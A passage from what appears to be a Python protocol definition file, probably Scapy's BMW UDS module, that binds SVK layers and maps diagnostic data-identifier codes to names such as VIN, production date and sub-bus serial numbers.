dataIdentifier=0xf125)\nbind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf126)\nbind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf127)\nbind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf128)\nbind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf129)\nbind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf12a)\nbind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf12b)\nbind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf12c)\nbind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf12d)\nbind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf12e)\nbind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf12f)\nbind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf130)\nbind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf131)\nbind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf132)\nbind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf133)\nbind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf134)\nbind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf135)\nbind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf136)\nbind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf137)\nbind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf138)\nbind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf139)\nbind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf13a)\nbind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf13b)\nbind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf13c)\nbind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf13d)\nbind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf13e)\nbind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf13f)\nbind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf140)\n\nUDS_RDBI.dataIdentifiers[0x0014] = \"RDBCI_IS_LESEN_DETAIL_REQ\"\nUDS_RDBI.dataIdentifiers[0x0015] = \"RDBCI_HS_LESEN_DETAIL_REQ\"\nUDS_RDBI.dataIdentifiers[0x0e80] = \"AirbagLock\"\nUDS_RDBI.dataIdentifiers[0x1000] = \"TestStamp\"\nUDS_RDBI.dataIdentifiers[0x1001] = \"CBSdata\"\nUDS_RDBI.dataIdentifiers[0x1002] = \"smallUserInformationField\"\nUDS_RDBI.dataIdentifiers[0x1003] = \"smallUserInformationField\"\nUDS_RDBI.dataIdentifiers[0x1004] = \"smallUserInformationField\"\nUDS_RDBI.dataIdentifiers[0x1005] = \"smallUserInformationField\"\nUDS_RDBI.dataIdentifiers[0x1006] = \"smallUserInformationField\"\nUDS_RDBI.dataIdentifiers[0x1007] = \"smallUserInformationField\"\nUDS_RDBI.dataIdentifiers[0x1008] = \"smallUserInformationFieldBMWfast\"\nUDS_RDBI.dataIdentifiers[0x1009] = \"vehicleProductionDate\"\nUDS_RDBI.dataIdentifiers[0x100A] = \"EnergyMode\"\nUDS_RDBI.dataIdentifiers[0x100B] = \"VcmIntegrationStep\"\nUDS_RDBI.dataIdentifiers[0x100d] = \"gatewayTableVersionNumber\"\nUDS_RDBI.dataIdentifiers[0x100e] = \"ExtendedMode\"\nUDS_RDBI.dataIdentifiers[0x1010] = \"fullVehicleIdentificationNumber\"\nUDS_RDBI.dataIdentifiers[0x1011] = \"vehicleType\"\nUDS_RDBI.dataIdentifiers[0x1012] = \"chipCardData_1012_101F\"\nUDS_RDBI.dataIdentifiers[0x1013] = \"chipCardData_1012_101F\"\nUDS_RDBI.dataIdentifiers[0x1014] = \"chipCardData_1012_101F\"\nUDS_RDBI.dataIdentifiers[0x1015] = \"chipCardData_1012_101F\"\nUDS_RDBI.dataIdentifiers[0x1016] = \"chipCardData_1012_101F\"\nUDS_RDBI.dataIdentifiers[0x1017] = \"chipCardData_1012_101F\"\nUDS_RDBI.dataIdentifiers[0x1018] = \"chipCardData_1012_101F\"\nUDS_RDBI.dataIdentifiers[0x1019] = \"chipCardData_1012_101F\"\nUDS_RDBI.dataIdentifiers[0x101a] = \"chipCardData_1012_101F\"\nUDS_RDBI.dataIdentifiers[0x101b] = \"chipCardData_1012_101F\"\nUDS_RDBI.dataIdentifiers[0x101c] = \"chipCardData_1012_101F\"\nUDS_RDBI.dataIdentifiers[0x101d] = \"chipCardData_1012_101F\"\nUDS_RDBI.dataIdentifiers[0x101e] = \"chipCardData_1012_101F\"\nUDS_RDBI.dataIdentifiers[0x101f] = \"chipCardData_1012_101F\"\nUDS_RDBI.dataIdentifiers[0x1600] = \"IdentifyNumberofSubbusMembers\"\nUDS_RDBI.dataIdentifiers[0x1601] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x1602] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x1603] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x1604] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x1605] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x1606] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x1607] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x1608] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x1609] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x160a] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x160b] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x160c] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x160d] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x160e] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x160f] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x1610] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x1611] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x1612] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x1613] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x1614] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x1615] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x1616] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x1617] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x1618] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x1619] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x161a] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x161b] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x161c] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x161d] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x161e] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x161f] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x1620] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x1621] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x1622] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x1623] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x1624] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x1625] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x1626] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x1627] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x1628] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x1629] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x162a] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x162b] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x162c] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x162d] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x162e] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x162f] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x1630] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x1631] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x1632] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x1633] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x1634] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x1635] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x1636] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x1637] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x1638] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x1639] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x163a] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x163b] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x163c] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x163d] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x163e] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x163f] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x1640] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x1641] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x1642] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x1643] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x1644] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x1645] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x1646] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x1647] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x1648] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x1649] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x164a] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x164b] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x164c] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x164d] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x164e] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x164f] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x1650] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x1651] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x1652] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x1653] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x1654] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x1655] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x1656] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x1657] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x1658] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x1659] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x165a] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x165b] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x165c] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x165d] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x165e] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x165f] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x1660] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x1661] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x1662] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x1663] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x1664] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x1665] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x1666] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x1667] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x1668] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x1669] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x166a] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x166b] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x166c] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x166d] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x166e] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x166f] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x1670] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x1671] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x1672] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x1673] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x1674] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x1675] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x1676] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x1677] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x1678] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x1679] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x167a] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x167b] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x167c] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x167d] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x167e] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x167f] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x1680] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x1681] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x1682] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x1683] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x1684] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x1685] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x1686] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x1687] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x1688] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x1689] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x168a] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x168b] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x168c] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x168d] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x168e] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x168f] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x1690] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x1691] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x1692] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x1693] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x1694] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x1695] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x1696] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x1697] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x1698] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x1699] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x169a] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x169b] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x169c] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x169d] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x169e] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x169f] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x16a0] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x16a1] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x16a2] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x16a3] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x16a4] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x16a5] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x16a6] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x16a7] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x16a8] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x16a9] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x16aa] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x16ab] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x16ac] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x16ad] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x16ae] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x16af] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x16b0] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x16b1] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x16b2] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x16b3] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x16b4] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x16b5] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x16b6] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x16b7] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x16b8] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x16b9] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x16ba] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x16bb] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x16bc] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x16bd] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x16be] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x16bf] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x16c0] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x16c1] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x16c2] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x16c3] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x16c4] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x16c5] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x16c6] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x16c7] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x16c8] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x16c9] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x16ca] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x16cb] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x16cc] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x16cd] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x16ce] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x16cf] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x16d0] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x16d1] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x16d2] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x16d3] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x16d4] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x16d5] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x16d6] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x16d7] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x16d8] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x16d9] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x16da] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x16db] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x16dc] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x16dd] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x16de] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x16df] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x16e0] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x16e1] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x16e2] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x16e3] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x16e4] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x16e5] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x16e6] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x16e7] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x16e8] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x16e9] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x16ea] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x16eb] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x16ec] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x16ed] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x16ee] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x16ef] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x16f0] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x16f1] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x16f2] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x16f3] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x16f4] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x16f5] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x16f6] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x16f7] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x16f8] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x16f9] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x16fa] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x16fb] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x16fc] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x16fd] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x16fe] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x16ff] = \"SubbusMemberSerialNumber\"\nUDS_RDBI.dataIdentifiers[0x1701] = \"SysTime\"\nUDS_RDBI.dataIdentifiers[0x170C] = \"BoardPowerSupply\"\nUDS_RDBI.dataIdentifiers[0x171F] = \"Certificate\"\nUDS_RDBI.dataIdentifiers[0x1720] = \"SCVersion\"\nUDS_RDBI.dataIdentifiers[0x1723] = \"ActiveResponseDTCs\"\nUDS_RDBI.dataIdentifiers[0x1724] = \"LockableDTCs\"\nUDS_RDBI.dataIdentifiers[0x172A] = \"IPConfiguration\"\nUDS_RDBI.dataIdentifiers[0x172B] = \"MACAddress\"\nUDS_RDBI.dataIdentifiers[0x1735] = \"LifecycleMode\"\nUDS_RDBI.dataIdentifiers[0x2000] = \"dtcShadowMemory\"\nUDS_RDBI.dataIdentifiers[0x2001] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x2002] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x2003] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x2004] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x2005] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x2006] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x2007] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x2008] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x2009] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x200a] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x200b] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x200c] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x200d] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x200e] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x200f] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x2010] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x2011] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x2012] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x2013] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x2014] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x2015] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x2016] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x2017] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x2018] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x2019] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x201a] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x201b] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x201c] = 